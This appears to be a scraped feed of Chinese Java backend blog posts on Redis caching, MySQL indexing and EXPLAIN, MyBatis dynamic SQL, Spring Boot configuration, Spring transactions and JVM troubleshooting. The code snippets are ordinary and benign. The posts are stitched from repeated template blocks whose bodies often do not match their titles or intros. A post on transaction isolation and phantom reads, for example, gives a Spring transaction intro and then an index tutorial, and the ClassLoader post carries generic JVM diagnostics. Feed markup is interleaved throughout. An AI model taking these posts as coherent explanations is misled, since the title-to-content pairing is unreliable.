先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

]]> Redis Redis 缓存 Redis 常见数据结构和使用场景 //redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/ Redis 常见数据结构和使用场景

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 数据库字段类型如何贴近业务 //shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/ 数据库字段类型如何贴近业务

字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 分页查询性能问题和游标分页 //fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/ 分页查询性能问题和游标分页

分页查询看似简单，但 offset 越来越大时性能会急剧下降。本文讲游标分页的实现方式和适用场景。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 慢 SQL 排查和优化完整流程 //man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/ 慢 SQL 排查和优化完整流程

慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 MySQL 事务隔离级别和幻读问题 //mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/ MySQL 事务隔离级别和幻读问题

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> MySQL SQL MySQL优化 EXPLAIN 执行计划应该看哪些字段 //explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/ EXPLAIN 执行计划应该看哪些字段

EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 MySQL 索引设计的几个核心原则 //mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/ MySQL 索引设计的几个核心原则

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL SQL MySQL优化 MyBatis 批量插入和性能优化 //mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/ MyBatis 批量插入和性能优化

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis MyBatis 动态 SQL 的正确写法 //mybatis-dong-tai-sql-de-zheng-que-xie-fa/ MyBatis 动态 SQL 的正确写法

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis MyBatis 一级缓存和二级缓存怎么理解 //mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/ MyBatis 一级缓存和二级缓存怎么理解

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis Spring Boot 日志配置和链路排查 //spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/ Spring Boot 日志配置和链路排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 参数校验和返回值封装 //spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/ Spring Boot 参数校验和返回值封装

参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 统一异常处理实践 //spring-boot-tong-yi-yi-chang-chu-li-shi-jian/ Spring Boot 统一异常处理实践

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Spring Boot 配置分环境的标准做法 //spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/ Spring Boot 配置分环境的标准做法

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。
]]> SpringBoot JAVA SpringBoot Bean 生命周期按步骤理解 //bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/ Bean 生命周期按步骤理解

Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入

  2. @PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键

  3. Aware 接口让 Bean 能够感知容器的上下文信息

  4. 销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()

总结

理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。

]]> Spring JAVA Spring Spring 事务失效的常见原因 //spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/ Spring 事务失效的常见原因

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Spring JAVA Spring Spring AOP 的原理和常见应用 //spring-aop-de-yuan-li-he-chang-jian-ying-yong/ Spring AOP 的原理和常见应用

AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类

  2. 切面的优先级由 @Order 注解控制，数字越小优先级越高

  3. 自调用问题的原因是内部方法调用不会经过代理对象

  4. 使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题

总结

AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。

]]> Spring JAVA Spring Spring IoC 容器到底解决了什么 //spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/ Spring IoC 容器到底解决了什么

IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 依赖注入实现了控制反转，把对象创建的控制权交给容器

  2. 构造器注入优于字段注入，能保证依赖的不可变性和非空性

  3. IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力

  4. 通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称

总结

IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。

]]> Spring JAVA Spring 内存溢出和内存泄漏排查流程 //nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/ 内存溢出和内存泄漏排查流程

内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM 线上 CPU 飙高如何定位 Java 问题 //xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/ 线上 CPU 飙高如何定位 Java 问题

线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM ClassLoader 双亲委派模型实践理解 //classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/ ClassLoader 双亲委派模型实践理解

双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

如果是 CPU 高，把线程 id 转成十六进制后，用 jstack 找对应线程：

printf '%x\n' <tid>
jstack <pid> | grep -A 30 '<hexTid>'

GC 日志怎么看

不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。

小白可以怎么练

本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 jmap 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。

]]> JVM JAVA JVM GC 日志怎么看才有用 //gc-ri-zhi-zen-me-kan-cai-you-yong/ GC 日志怎么看才有用

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

先看现象，不要急着改参数

JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：

jps -l
top -Hp <pid>
jstat -gcutil <pid> 1000 10
jmap -histo <pid> | head -30

